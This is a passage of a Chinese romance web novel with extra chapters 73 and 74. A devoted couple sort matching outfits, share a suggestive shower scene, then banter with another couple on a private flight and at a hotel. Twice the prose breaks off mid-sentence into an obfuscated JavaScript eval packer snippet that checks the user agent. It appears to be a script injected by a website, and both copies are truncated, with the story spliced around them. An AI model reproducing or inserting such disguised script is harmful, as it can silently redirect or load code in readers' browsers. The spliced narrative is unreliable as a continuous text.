南景看着那条从深明大义急转直下到一哭二闹的信息链,嘴角无奈地弯了弯。他能想象出屏幕那头的人,如何从强作镇定到溃不成军。这场景在过去近一年里反复上演,起初他觉得有些困扰,如今却品出另外一种的甜。他把地址发了过去。 几乎是秒回。邵既明的消息蹦出来,字里行间是雨过天晴的雀跃,甚至能听见他尾巴摇动的声音:“收到,我来接你回家,你聊你的,我就在楼下等你。” 南景没有回复。他收起手机,望向窗外渐浓的暮色。他知道邵既明会在那里,等候在他人生的边界。这份爱有时沉重得让人想叹息,可那重量里,又满满当当全是失而复得后、再不肯松懈分毫的珍重。 他终究是,被一个人这样深刻地需要着。 南景步出餐厅大门,视线掠过街边流动的车河,目光就落在了那辆安静的黑色轿车上,以及车旁那个熟悉的身影上。 邵既明斜倚着车门,一身剪裁利落的深色西装三件套,肩线平直,身影被灯拉得修长。近一年安稳的时光将他重新打磨回了邵总的模样,抑郁症的阴翳似乎已被驱散,只留下眼角眉梢更为执着的专注——那专注的焦点,此刻正落在他身上。唐医生曾说,邵既明的痊愈有一个前提,一个连专业手段也无法剥离的前提:他必须能感知到南景在他的安全半径内。南景于他,已非简单的陪伴,而是维系他世界平稳运转无可替代的轴心。 他走过去,邵既明立刻站直了身体,倚靠的慵懒姿态瞬间收起,变成一种带着期翼的端正。他的目光直直落在南景身上,从发梢看到鞋尖,再重新看回他的眼睛。 “吃饭了吗?”南景在他面前站定,声音比晚风温和。 邵既明迅速点了点头,动作有点乖,甚至显出些与他外形不符的稚气。“嗯,吃了的。”他应着,话音未落,那句在心底盘旋了许久的话便迫不及待地溜了出来,“老婆,想抱抱你。”他说这话时,指尖无意识地蜷缩了一下,又松开,目光一瞬不瞬地凝在南景脸上,不躲不闪。如今的邵既明,早已撕去了所有关于隐藏爱意的薄膜,那份依赖坦诚得如同渴水之人寻觅清泉。 南景没说话,只伸出手,掌心向上。邵既明立刻把自己的手放了上去,手指急切地穿入南景的指缝,紧紧扣住。肌肤相贴的温热传来,他才舒了口气。 “回家再抱。”南景说,手指在他手背上轻轻按了按。 “……好吧。”邵既明应得有些快,立刻转身,替南景拉开后座车门,手掌习惯性地护在门框上方。直到南景坐进去,他才从另一侧迅速钻入车内。 车门关闭,司机平稳地启动车子,汇入流光溢彩的河。 几乎是在身体随着车辆微微晃动的瞬间,邵既明便转过了身。什么“回家再抱”的约定被他抛在脑后,他伸出手臂,将南景整个拢进怀里。手臂环过肩背,手掌贴合着南景的肩胛骨,将人稳稳地按在自己胸前。南景立下的规矩——有外人在时,牵手拥抱尚可,亲吻与更亲密的举动则不被允许。他始终记着,也近乎严苛地遵守着。此刻,他便只用尽力气拥抱,仿佛要将这分离的数小时里缺失的接触一次性补足。 他把脸埋进南景的颈窝,深深吸了一口气。那股熟悉的、独属于南景的与体温的味道涌入鼻腔,他闭了闭眼,紧绷的肩颈线条肉眼可见地松弛下来。呼出的热气拂过南景的皮肤,他的声音闷闷地传来,带着餍足又委屈的复杂鼻音:“好想你啊,老婆……我已经七个小时没见到你了。” 南景任由他抱着,没有挣脱。车厢内光线昏暗,只有窗外流动的霓虹光影偶尔掠过,在他脸上投下瞬息万变的色块。他无声地弯起了唇角,那笑意很浅,却一直蔓延到眼底。他没有说话,只是抬起没被禁锢的那只手,寻到邵既明与自己十指相扣的手,用了点力捏了捏他的指节。 “好了,”南景的声音贴着邵既明的耳廓响起,“先回家。” 邵既明在他颈窝里蹭了蹭,他终于略微松开了些力道,却仍固执地环着南景的腰,把人圈在自己的领地里。 “嗯,”他应道,“先回家。” 推开厚重的入户门,熟悉的家的气息便包裹了上来。玄关的感应灯自动亮起,柔和地照亮脚下。与一年前的极简冷清截然不同,此刻的空间充满了细致而温润的生活痕迹。两双同款不同色的拖鞋并排放在柚木地板上,一双稍大,鞋头朝外,一双规整地收在侧边。 邵既明弯腰,仔细地将两人的皮鞋摆进鞋柜。南景则松开领带,目光习惯性地扫过这个空间。如今的家,才真正称得上是两个人的家。 视线所及,处处是无声的宣告。客厅那面原本空荡的墙边,立着并排的两个游戏主机和一堆光碟,缠绕整齐的数据线收在编织篮里。音响设备是两人一起挑的,邵既明执着于音质,南景则更在意外观与家居的融合,最终选定的款式此刻正沉默地散发着温润的木纹光泽。沙发换成了更宽大柔软的款式,铺着南景挑选的浅灰色羊毛盖毯。茶几上,一对马克杯紧挨着,一只纯白,一只墨黑,是上次逛市集时一起做的,杯沿甚至有一处烧制时留下的独特气泡,被邵既明戏称为“情侣痣”。 玄关处雪松的淡香,客厅飘来的、南景惯用的那款木质调香薰余韵。冰箱门上贴着便签是两人笔迹的混合。这个空间不再仅仅是美学展示,而是呼吸着、生长着的,充满了选择的磨合与共享的默契。 邵既明换好拖鞋,就拉住了南景的手,十指紧扣,将他带进客厅更明亮的光晕里。他脸上带着一种孩童展示宝藏般的雀跃,指向沙发旁那几个堆放整齐的精美购物袋:“看,我买了好多,情侣装。明天去淮汐,我们可以换着穿。” 南景顺着他指的方向看去,微微怔了一下。那不仅仅是“几件”衣服,看袋子的数量和体积,说是一个小型服饰店的库存也不为过。他眼前几乎立刻浮现出秦朗,给周冉买东西时那扫荡专柜的架势。果然是有其兄必有其弟,表达爱意的方式都如此……磅礴。 “你和秦朗一起去的?”南景问。 邵既明立刻摇头,表情颇为认真:“没有。他就只知道围着周冉转,眼睛里根本没有别的。我才不跟他一起。”他急于撇清“盲目购物”的嫌疑,虽然结果看上去并无不同。他蹲下身,开始兴致勃勃地从袋子里往外拿东西。“快来,老婆,你看这对表,还有这双鞋,跟那件外套是不是绝配?我们怎么搭比较好?” 南景看着他摆弄那些价格不菲的衣物配件,心里估算着它们的总和,再联想到衣帽间里已经颇为可观的情侣款库存,轻轻吸了口气。他走到邵既明身边,也蹲了下来,指尖拂过一件羊绒衫细腻的纹理,温声道:“既明啊,我们以后……其实可以稍微少买一点。” “那不行。”邵既明立刻反驳,抬起头,眼神很坚持,“不能比周冉的少。” 南景看着他这副样子,心里那点关于铺张的计较便化成了无奈的柔软。他伸手,用指尖将他额前一缕不听话的头发拨开,声音放得更缓:“周冉是女孩子,她喜欢,也需要很多漂亮的东西来搭配。我们不一样,简单舒适就好。”他顿了顿,看进邵既明的眼睛,“我们是我们,他们是他们。我们过得舒服,比别人拥有多少,重要得多,对不对?” 邵既明抿了抿唇,眼神里那簇较劲的小火苗慢慢熄了下去,换上一点被说服后的不甘和茫然。他当然知道南景说得对,可那股想把所有好东西都堆到对方面前的冲动,总是难以抑制。他垂下眼,低声说:“我只是想给你最好的……” “我知道。”南景截住了他话音里那细微的沮丧。他不再继续这个话题,而是伸手拿起旁边一个较小的袋子,拆开包装,里面是两副款式简约的墨镜。“下次再想买什么,我们一起去挑,好不好?你挑款式,我来控制数量。”他拿起其中一副,轻轻架在邵既明高挺的鼻梁上,端详了一下,眼底泛起笑意,“嗯,这副很好看。现在,我们一起来拆这些战利品吧,看看我的邵总,到底搜罗了多少好东西。” 峰回路转,柳暗花明。邵既明眼睛立刻又亮了起来,那点小情绪来得快去得也快。一起逛街!这个提议简直比收到礼物本身更让他开心。他立刻凑近了些,肩膀贴着南景的肩膀,热切地指着一个鞋盒:“好!那说定了!你先看这双鞋,鞋底特别软,走路不累。还有这个,”他又掏出一条羊绒围巾,献宝似的绕在南景颈间试试质感,“暖和吧?淮汐晚上风大……” 灯光下,两人头挨着头,窸窸窣窣地拆着包装,低声讨论着颜色和搭配。购物袋慢慢瘪下去,身边摊开的物品渐渐增多。 “这个盒子,要压平了才能放进回收箱。”南景拿起一个挺括的硬质鞋盒,手指沿着折痕比划了一下。他做事向来有条理,即便是处理这些甜蜜的负担。 邵既明正拎着一件风衣,在自己身上比划,闻言立刻放下衣服凑过来:“我来。”他接过鞋盒,大手稍一用力,纸盒便顺从地发出轻微的“喀嚓”声,被压成一个平面。他做得很认真,仿佛这不是在处理包装,而是在完成一件重要的事。压平后,还仔细地检查边角是否整齐,这才递给南景。“给,老婆。这个大小,放得下吧?” “嗯,正好。”南景接过,将它放进旁边专门用来收集纸盒的大收纳篮里。看着邵既明专注的侧脸,他唇角弯了弯。谁能想到,在外面雷厉风行、说一不二的邵总,在家里会为压平一个纸盒而流露出如此认真的神色。 “你看这件,”邵既明又拿起那件风衣,这次是往南景身上虚虚地拢了拢,“你的尺码。淮汐那边晚上湿气重,凉的候可以披着。我买了同款不同色,我的是深蓝。到时候我们可以一起穿。” “颜色很衬你。”南景接过,目光落在邵既明身上,“不过明天路上,还是穿那件宽松的卫衣更舒服。飞机上时间长,舒服第一。” “听老婆的。”邵既明从善如流,立刻从战利品堆里找出两件同款式的卫衣,胸口有很不起眼的同色系刺绣暗纹。“那就穿这个,在飞机上。”他顿了顿,补充道,“上了飞机,我可以握着你的手睡一会儿。” 南景没接话,只是将衣服叠好,放在一边准备等会儿挂起来的衣物堆上。他拿起一只腕表,表盘是深邃的墨蓝色,像静谧的夜空,指针是纤细的银色。邵既明立刻将另一只递过来,那只是更沉稳的炭黑色,但仔细看,表盘的纹路和指针的形状,与墨蓝色的这只是完全对称的设计。 “这是对表。”邵既明强调,伸出手腕,将南景拿着表的手拉过来,将那只墨蓝色的表轻轻贴在自己腕上比了比,又换过来,将炭黑色的那只贴在南景手腕内侧皮肤上。邵既明的动作很轻,眼神专注地比较着。“喜欢吗?不是很张扬的款式,但懂的人一眼就能看出来。” 他的指尖在南景手腕内侧停留了片刻,那里皮肤很薄,能感觉到温热的脉搏。邵既明的拇指指腹很轻地在那片皮肤上摩挲了一下,才依依不舍地松开。“明天就戴这个,好不好?” “好。”南景应下,将两只表小心地放回表盒。他喜欢这种低调的呼应,胜过那些夸张的标记。 清理工作继续。邵既明每拿起一样东西,都能说出为什么选它,或者在什么场景下用得到。那双走路不累的鞋,是因为想起上次在南景在一个活动上站的久了,觉得他可能需要一双更舒服的便鞋。那条触手生温的羊绒围巾,是因为去年冬天南景有过一次轻微的感冒,他记得。甚至几双同款袜子,他也认真解释:“虽然看不见,但自己知道是一样的,感觉就很好。” 南景多数时候只是静静地听,手上不停地将衣服分类、叠放,或将需要悬挂的用衣架撑好。偶尔在他过于兴奋地计划“这个和那个可以搭,然后再配那双鞋”时,会温和地提醒一句:“淮汐只去三天,既明,我们带不了这么多。” “那就选最喜欢的几套。”邵既明立刻妥协,但又马上燃起新的热情,“我们可以每天一起挑第二天穿什么,像……像游戏搭配一样。” 这个孩子气的比喻让南景终于低笑出声。他摇了摇头,拿起最后一件衣服,一件柔软的白色棉质长袖T恤,没有任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是真理。”邵既明纠正,收紧手臂,将他更密实地圈在怀里。视线落在面前被整理得井井有条的衣物上,又看看身边被压扁收好的纸盒,再环顾这个被他们共同填满的客厅。 “老婆,”他忽然低声唤道。 “嗯?” “这样真好。”他没头没尾地说,“一起拆东西,一起收拾,一起计划明天穿什么……这样真好。” 南景叠放的动作停了下来。他微微侧过脸,只能看到邵既明毛茸茸的发顶和一小部分挺直的鼻梁。这个男人,拥有常人难以企及的能力和财富,此刻的快乐,却简单得像只需要一个拥抱,和一起叠衣服的时光。 他心底最柔软的地方,像是被羽毛轻轻拂过,泛起细密的涟漪。他没有说“我也觉得好”,那样太直白,不像是他。他只是抬起手,覆上邵既明环在他腰间的手背上,轻轻拍了拍。 “收拾好了。”南景说,“这些挂起来的,我拿到衣帽间。这些叠好的,你放到卧室衣柜的第三层,记得分开放,别混了。” “遵命。”邵既明这才松开他抱起那叠叠好的衣物,亦步亦趋地跟着南景往楼上走。 衣帽间里,灯光是更明亮的暖白色。南景将需要悬挂的衣服一件件挂衣柜。邵既明则拉开衣柜门,仔细地将他那叠不太方正的和南景亲手叠的放进不同的收纳格里。 放好后,他却没有立刻离开,而是靠着衣柜门,看着南景在另一边整理的背影。南景微微踮脚,将一件稍厚的外套挂上较高的横杆,腰线的弧度在衬衣的柔软布料下清晰勾勒出来。 “老婆,”他又叫了一声。 南景挂好衣服,转过身,用眼神询问。 邵既明走过去,从背后抱住他,将脸埋在他肩胛骨之间。“明天要早起,今晚早点睡。”他说,然后停顿了一下,声音变得更低,“……我保证只是睡觉。” 南景被他抱得身体微微前倾,闻言,侧过脸,眼尾扫过他近在咫尺带着点讨好意味的俊脸。那眼神里的热度,可不像只是“睡觉”那么简单。 他没有立刻答应,也没有拒绝,只是就着这个被拥抱的姿势,抬手关掉了衣帽间的主灯。“先去洗澡。” 但邵既明却像是接收到了某种默许的信号,眼睛瞬间亮了一下,立刻松开他,却又马上牵住他的手。“好!一起……呃,我是说,你先洗还是我先洗?”他差点说漏嘴,赶紧改口,耳根在昏黄光线下,似乎有点泛红。 南景终于忍不住,轻轻笑了一声。那笑声很轻。他没回答谁先谁后的问题,只是反手握住了邵既明的手,指尖在他掌心不轻不重地勾了一下。 “走吧,”他说,牵着他走出衣帽间,“明天还要赶飞机。” 浴室的门在身后轻轻合拢,咔嗒一声轻响。 温热的水汽尚未升腾,空气里还带着瓷砖的微凉。邵既明刚才在衣帽间里那点刻意摆出的可怜巴巴,此刻像被水汽融化的糖霜,悄然褪去,露出底下滚烫而粘稠的实质。 他转过身,背靠着冰凉的门板,目光却灼热地锁住正在低头试水温的南景。那目光紧紧缠绕在南景微微弯下的后颈,肩背流畅的线条,以及衣服下若隐若骨的腰身。 “水温刚好。”南景没有回头,他伸手调节着花洒。 邵既明眼底最后一点伪装的温顺瞬间蒸发。他几步上前,南景甚至没来得及完全直起身,就被他从身后猛地拥住,紧密得没有一丝缝隙。 “唔……”一声闷哼被吞没在骤然贴近的炽热唇齿间。 这不是衣帽间里那种带着商量和祈求的触碰,这是宣告,是索取,是压抑了整晚的黏人表象彻底崩解后,露出滚烫的内核。 水汽迅速濡湿了他们的衣衫,单薄的布料黏贴在皮肤上,勾勒出急剧起伏的轮廓。 南景被他撞得向前踉跄半步,手撑在湿润的瓷砖墙壁上,才稳住身形。他没有推开,只是在最初短暂的僵硬后,闭上了眼,任由那带着掠夺意味的吻深入,任由那双手臂收紧。 他知道他会这样。从他说“先去洗澡”,从他在衣帽间里那亮得惊人的眼神,从他此刻完全剥去伪装、只剩下赤裸滚烫需求的动作里。邵既明从来不是真的能克制住的大狗狗,他只是……在等待一个更私密的时机,来尽情释放他无边的依恋。 水流顺着他们的发梢、脸颊、纠缠的身体不断淌下。衣物成了碍事的屏障,被不耐地扯开、褪下,随意丢弃在湿漉漉的地面。视野里只剩下迷蒙的水汽,晃动的水光,和对方近在咫尺被情?欲和热水染成绯红的皮肤。 浴室的门紧闭着,将一室升温的混乱、交织的呼吸、唇齿间溢出的模糊音节,以及水流冲刷也无法冷却的激烈心跳,全部锁在这方寸之间。水雾越来越浓,镜面上什么也照不清,只有两个模糊的身影紧紧相贴,在水声掩护下,进行着一场无需言语、也早已偏离只是洗澡初衷,只剩下意识与感官的激烈交融。 73. 一如既往[番外] 私人飞机候机室内,邵既明正亦步亦趋地跟在南景身后半步远的地方,南景刚把外套脱下,他的手就已经无比自然地伸过去接住。 秦朗刚把周冉随身的小行李箱交给空乘,一回头就看见这幕。他嘴角抽了抽,用手肘轻轻碰了碰身旁的周冉,压低了声音,语气里满是惨不忍睹:“老婆,快看那边那个巨型人形挂件……嘶,这黏糊劲儿,我的二十四K纯钛合金狗眼都要被闪瞎了!这真的合法吗?机场安保不管管这种明目张胆的连体婴行为吗?” 周冉眼皮都没抬:“视觉神经自主选择成像,没人拿枪指着你看。实在受不了,你可以选择闭上眼睛,或者,”她终于侧过头,给了他一个毫无温度的微笑,“我现在就可以帮你永久性解决这个烦恼,保证一劳永逸。” 秦朗立刻捂住眼睛,手指缝却张得老大:“别!我错了!我选择继续忍受这残酷世界的视觉污染!” 这时,南景带着那个人形挂件走了过来,朝他们笑了笑:“小冉,秦朗,等很久了?” “大舅哥!”秦朗瞬间变脸,热情洋溢地凑上去,但目光扫过亦步亦趋的邵既明时,又立刻换上痛心疾首的表情,“你可算来了!快管管你家这位吧!这公共场合,注意点影响行不行?我这单身……啊不是,我这未婚人士看了,内心受到一万点暴击伤害你知道吗?血条都空了啊!” 邵既明闻言,只是更紧地贴着南景站着,下巴几乎要搁到南景肩上,表情无辜又理直气壮:“我怎么了?我站我老婆旁边,犯法吗?航空条例哪条写了不准挨着自己合法配偶?” 秦朗被他这合法配偶几个字刺得一激灵,捂着心口倒退半步,戏瘾立刻就上来了:“合法?合法了不起啊!邵既明你个没良心的小白眼狼!你摸着你的良心说,哦不对,你根本就没有良心那种奢侈品!”他伸出手指,颤巍巍地指着邵既明,声音都带上了(装的)哽咽,“当年是谁,在你抑郁症发作,跟条被遗弃的大狗一样缩在墙角要死要活的时候,又当爹又当妈,一把屎一把尿……啊呸,是端茶送水、好言相劝地伺候你?是谁,在你满世界追着大舅哥跑,哭得像个三百斤的孩子时,给你当司机、当参谋、当情感垃圾桶,甚至还要兼职防止你投海自尽?现在好了,媳妇追到手了,证揣兜里了,就跑到我这个劳苦功高、至今还在服役期的老光棍面前炫耀了?你的良心呢?被阿姆斯特朗回旋加速喷气式阿姆斯特朗炮轰到外太空了吗?!” 他越说越激动,最后干脆整个人往周冉那边倒,企图把头靠在她肩上:“老婆!你看他!我心绞痛!我呼吸困难!我需要人工呼吸!快,用爱救我!” 周冉面无表情地抬起手抵住他靠过来的额头,将他推开一臂距离:“心绞痛去挂急诊,呼吸困难按呼叫铃,人工呼吸找急救员。另外,”她终于瞥了秦朗一眼,“你刚才那番话的夸张程度,足以让你之前投资的任何一部烂片编剧羞愧到当场切腹自尽。” 秦朗:“……” 南景忍着笑,看向周冉,用闲聊般的语气问道:“还没打算给他个名分?我看秦总这望妻石都快风化成沙了。” 周冉拿起手边的气泡水喝了一口:“急什么。我们不也正朝着奔四俱乐部稳步前进么?让他再等等吧。等他什么时候能从哈士奇进化成稍微靠谱点的品种,或者至少,”她顿了顿,嘴角勾起一抹极小恶魔的弧度,“等他正式奔五,或许我会考虑一下,给他个预备役观察期的名额。” 她说完,优雅起身,对南景点点头:“走吧,该登机了。”说罢,便率先朝登机口走去。 南景失笑,拍了拍旁边看似石化、实则竖起耳朵听得一清二楚的秦朗:“妹夫,听见没?有希望啊。预备役观察期,听起来比流浪犬收容站级别高多了。” 秦朗浑身一震,瞬间从悲痛欲绝模式切换到充满希望模式,双眼放光,朝着周冉的背影就追了过去,声音洪亮得整个候机室都能听见:“老婆!等等我!我能等!别说奔五,奔六奔七我都等!观察期也行!试用期也行!不给工资都行!你看我一眼啊老婆!” 邵既明撇撇嘴,搂住南景的腰,小声嘀咕:“他戏真多。还是我最好,对吧老婆?” 南景无奈地摇摇头,任由他搂着,朝登机口走去。穿着制服的机组人员站在舱门边,保持着无可挑剔仿佛什么都没看见也没听见的专业微笑。 舱门关闭,引擎发出低沉的嗡鸣,私人飞机内部是全然不同的静谧世界。秦朗一上飞机就试图蹭到周冉旁边的座位,被周冉用眼神定在了斜对面的单人座上。 “保持安全社交距离,”周冉慢条斯理地系好安全带,“防止某些人突发性戏精附体,影响飞行安全。” 秦朗哀嚎一声,瘫在座椅里,像一条失去梦想的咸鱼。“这日子没法过了!老婆,你看看这冰冷的座位,这无情的过道,它们都在嘲笑我这个名不正言不顺的可怜人!” 空乘人员保持着专业微笑送上饮品。邵既明接过一杯温水,试了试温度才递给南景,然后自己拿了杯果汁,咬着吸管,眼睛却一眨不眨地看着南景的侧脸。 南景被他看得有些不自在,低声问:“看什么?” “看老婆。”邵既明答得理所当然,吸管在杯子里发出咕噜声,“比看任何电影、任何风景都有意思。这是VIP终身会员专属内容。” 秦朗在旁边发出夸张的干呕声:“呕~~!空乘!空乘姐姐!麻烦给我个呕吐袋!这里的甜腻空气指标严重超标,我需要紧急隔离!” 周冉翻开一本财经杂志,头也不抬:“需要的话,我可以让机长打开舱门,给你换个环境更清新的位置,比如机翼上?” 秦朗立刻正襟危坐,双手放在膝盖上,表情严肃:“报告领导,空气突然清新了!我的低血糖低血压低幸福感刚刚被领导的光芒普照,瞬间痊愈了!” 飞机进入平稳飞行阶段。邵既明不知从哪里摸出一个小盒子,打开,里面是切好的水果,他用叉子叉起一块蜜瓜,递到南景嘴边:“老婆,啊。” 南景有点窘,瞥了一眼对面明显在竖着耳朵偷听的秦朗,低声说:“我自己来。” “不,我喂。”邵既明举着叉子,眼神固执,大有“你不吃我就举到地老天荒”的架势。 南景无奈,只得快速张口吃了。邵既明立刻笑得眼睛弯起来。 秦朗捂住心脏,表情痛苦地转向周冉:“老婆,我也要!我也低血糖了!需要投喂才能好!” 周冉从杂志上抬起眼,从自己手边拿起一颗供应的葡萄,指尖一弹,那颗葡萄在空中划出一道抛物线,精准地砸在秦朗额头上上。 秦朗:“……老婆,你这是在投喂松鼠吗?” “不,我在测试你的瞬时反应速度和脸部皮肤的弹性。结果令人失望,反应速度为零,脸皮厚度倒是超出测量范围。” 南景忍笑忍得肩膀微抖。邵既明则毫不客气地“噗嗤”笑出声,然后立刻凑到南景耳边,用自以为很小、其实全机舱都能听到的音量“悄悄”说:“老婆,我哥好像那个被弹弓打了脑门的猴子哦。” 秦朗:“……邵既明!我听到了!我两只耳朵都听到了!你这个有了老婆就忘了兄弟的叛徒!” 邵既明搂紧南景的胳膊,理直气壮:“兄弟是什么?能抱着睡觉吗?能亲吗?能合法共享财产吗?不能。所以,”他顿了顿,总结道,“老婆比较重要。” 秦朗捂住胸口,一副快要厥过去的样子:“杀了我吧!就现在!用这充满恋爱酸臭味的空气呛死我吧!我不想活了!我的兄弟,我当年一把屎一把尿……(被周冉一个眼刀打断)……不是,我是说当年掏心掏肺照顾的兄弟,现在为了男人□□两刀!不对,是□□无数刀!刀刀暴击!” 南景终于笑着打圆场:“行了你们两个。秦朗,你也别演了。小冉,你就真打算让他一直这么……呃,这么悬着?” 周冉合上杂志,优雅地交叠起双腿,好整以暇地看着对面瞬间坐直、竖起耳朵、眼睛亮得像探照灯的秦朗,慢悠悠地开口:“悬着?怎么会。我一直有在认真考虑。” 秦朗激动得差点从座位上蹦起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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邵既明敏捷地躲到南景身后,探出头:“我叫邵既明,不叫搅屎棍,更不是什么哑巴唧。还有,哥,恼羞成怒是解决不了问题的,你要正视现实。现实就是,”他搂住南景的腰,把下巴搁在南景肩上,用一种欠揍的甜蜜语气说,“我和我老婆,已经在七个国家、十二个地区合法登记了。我们的结婚证连起来,可以玩很长很长的扑克牌接龙。” 南景哭笑不得地用手肘轻轻往后顶了他一下:“别闹了。” 秦朗已经被打击得瘫回座位,眼神空洞地望着机舱顶,喃喃自语:“七个国家……十二个地区……扑克牌接龙……呵呵,呵呵呵……我这辈子,是不是连个体验版都混不上了……干脆让飞机失事吧,就现在,让我带着我这未竟的转正梦想,沉入茫茫太平洋……” 周冉抿了一口香槟,淡淡道:“可以考虑加入连续一年每天说一句不重样的情话并且不能抄袭网络的考核项。现在就可以开始你的试用任务了,秦先生。” 秦朗瞬间复活,一个鲤鱼打挺坐直,清了清嗓子,眼神深情地望向周冉:“啊!我的冉!你是电,你是光,你是唯一的神话!你是我贫瘠土地上的最后一朵玫瑰!是我漫长黑夜里的唯一星光!是治愈我所有痛苦的良药!是……” “停。”周冉抬手打断,眉头微蹙,“第一句,抄袭S.H.E。第二句,疑似聂鲁达但改编得庸俗。第三句,老套。第四句,像电线杆上的小广告。考核第一天,不及格。任务失败。” 秦朗:“……!!!” 邵既明在南景耳边闷笑,笑得浑身发抖。南景也忍不住弯起了嘴角,拍了拍邵既明环在自己腰间的手,示意他收敛点。 机舱内气氛诡异地融洽着,秦朗不甘的嘟囔、邵既明时不时补刀的“悄悄话”、周冉淡定的毒舌,以及南景偶尔温和的调停。空乘人员眼观鼻鼻观心,始终保持完美的服务姿态,只是微微抽动的嘴角泄露了他们并不平静的内心。 直到广播里传来机长平稳的声音,提示飞机即将开始下降,请系好安全带。 淮汐市到了。 飞机穿过云层,下方蔚蓝的海岸线和繁华的城市轮廓逐渐清晰。秦朗暂时从求婚任务失败的打击中恢复过来,扒在窗边,指着下面:“老婆!看!那就是我为你承包的……哦不是,看那酒店屋顶!多反光!” 周冉懒得理他。 邵既明则紧紧握着南景的手,低声说:“老婆,我们到了。这次,就我们两个……哦,还有那两个。”他嫌弃地瞥了一眼对面的秦朗,“好好玩。” 南景回握了一下他的手,看向窗外越来越近的城市,眼底漾开一丝轻松的笑意。无论目的地是哪里,只要有这个人在身边,哪怕旅程中充满了秦朗牌的噪音和邵既明牌的黏腻,似乎也变得有趣起来。 飞机平稳着陆,在跑道上滑行。新的混乱的假期,即将拉开序幕。 74. 他们[番外] 到淮汐市的第二天。 酒店大堂休息区,秦朗翘着二郎腿,指尖不耐烦地敲打着膝盖。他今天收拾得人模狗样,骚包的酒红色西装,头发打理得一丝不苟,可惜眉眼间那股子等得不耐烦的躁动,破坏了这身行头的雅痞感。周冉坐在他斜对面,一身剪裁利落的珍珠白缎面西装裙,正垂眸慢条斯理地刷着手机。 “我说,那两位是准备在楼上开个时装发布会,然后直接走秀下来吗?”秦朗第N次看表,从鼻子里哼出一声,“知道的是去参加聚会,不知道的还以为要去走戛纳红毯,还得是压轴的那种。” 周冉眼皮都没抬:“根据人类平均洗漱、更衣、整理仪容时间,以及邵既明可能存在的突发性选择困难症和南景配合度调整期来计算,他们比约定时间晚出现五分钟,仍在合理误差范围内。你的焦虑,源于你自身对单身赴会的潜在恐惧,与他们的效率无关。” 秦朗被噎得翻了个白眼,正要反驳,电梯方向传来“叮”一声轻响。 他的目光立刻投了过去。 首先映入眼帘的,是邵既明。蓝黑色的休闲西装,剪裁合体,衬得他肩宽腿长,明明是很绅士的款式,穿在他身上却莫名有种……嘚瑟的招摇感。他一手插在裤袋里,另一只手看似随意地搭在身边人的后腰,嘴角噙着一抹心满意足的弧度,眼神亮得像只刚刚圈地成功、正向全世界展示宝藏的猛兽。 而他身边的南景…… 秦朗的瞳孔地震了。 南景穿的是一件同色系但略浅的雾霾蓝衬衫,面料挺括,领口松开一颗扣子,下身是剪裁优良的米白色长裤,清爽又雅致。单看,毫无问题,甚至品味绝佳。 但,问题就出在不能单看! 秦朗的视线像扫描仪一样,咔咔地在两人身上来回移动:邵既明腕间露出一截银色表带,表盘是深沉的午夜蓝;南景抬起手随意拨了下头发,腕间一闪而过的,是款式完全相同、但表盘是更柔和雾霾蓝的腕表。邵既明脚上是低调的深棕色麂皮乐福鞋;南景脚下是同款不同色的浅棕色。甚至,秦朗眯起眼,发现邵既明西装口袋里露出一角的雾霾蓝丝巾,和南景衬衫口袋里那抹蓝黑色方巾,花纹似乎都是特么的同系列不同色! 这已经不是暗示了,这是用高音喇叭在循环广播:我们是一对!看清楚!连脚趾头都是情侣款! “嘶~~”秦朗倒抽一口凉气,猛地往后一靠,捂住眼睛,手指夸张地颤抖着,“我的眼睛!我的24K氪金狗眼!要瞎了!这扑面而来嚣张跋扈的恋爱酸臭味!还有这充满心机的细节轰炸!邵既明!你是把情侣用品店搬空了吗?从头发丝搭配到脚后跟,你怎么不干脆把南景专属纹在脸上?!” 邵既明搂着南景走近,对秦朗的惨叫充耳不闻,反而微微抬起下巴,眼神里写满了“羡慕吗?嫉妒吗?但你就是没有”的欠揍光芒。他甚至还特意调整了一下站姿,让两人手腕上的表在晨光下反射出同步的光芒。 南景脸上带着些窘迫和无奈,耳根有点泛红。他显然对这种全副武装式的情侣标识不太自在,下意识想把手从邵既明掌心抽回来,却被更紧地握住。他警告性地瞥了邵既明一眼,换来对方一个无辜又灿烂的笑容,和偷偷在他腰后轻挠一下的小动作。 “早上好,”南景努力维持着镇定,向周冉打招呼,试图无视旁边那个戏精,“等很久了?” “刚到。”周冉收起手机,抬眼打量了他们一下,目光一一掠过那些小心机,最后落在南景脸上,“衣服不错,很衬你。至于某位,”她眼风扫过一脸求表扬的邵既明,“过于刻意,用力过猛,效果适得其反,建议重修《低调的炫耀艺术》这门课。” 邵既明脸上的得意瞬间垮掉一半,不满地嘀咕:“哪里用力过猛了?这明明是天作之合的自然流露!是灵魂共鸣的外在体现!哥那就是吃不到葡萄说葡萄酸!” “我酸?!”秦朗炸毛,跳起来,指着邵既明,手指哆嗦,“我秦朗,什么世面没见过?我会酸你这个?我这是出于人道主义关怀,怕你俩走出去,闪瞎路人的眼,造成不必要的交通事故!我这是为社会公共安全做贡献!” 他痛心疾首地转向周冉,企图寻找盟友:“老婆!你看看他!你再看看我!我这么低调、这么含蓄、这么有内涵!我什么时候强迫你跟我穿得像双胞胎似的出门了?我这叫给予对方充分的穿衣自由!是成熟男性尊重伴侣的体现!” 周冉端起服务员刚送上的咖啡,慢悠悠地呷了一口,才抬眼,平静地问:“你确定,不是你那些印着古怪标语、荧光色、或者带着夸张动物头像的潮服,我根本拒绝和你出现在同一经纬度三公里范围内?” “……那是时尚!是态度!是打破常规的审美!” “是视觉灾难。”周冉冷静地补刀,然后看向南景和邵既明,“可以走了吗?再晚,某些人精心搭配的情侣皮肤就要赶不上聚会开场动画了。” 邵既明立刻挺直腰板,搂紧南景:“走吧老婆!让他们见识一下什么叫真正的最佳着装情侣!” 南景叹了口气,对周冉露出一个“你懂的”的无奈笑容,被邵既明半揽着向外走去。晨光在他们身上镀上一层金边,也清晰地照亮了他们从衣着到配饰那无处遁形甜蜜的“捆绑”。 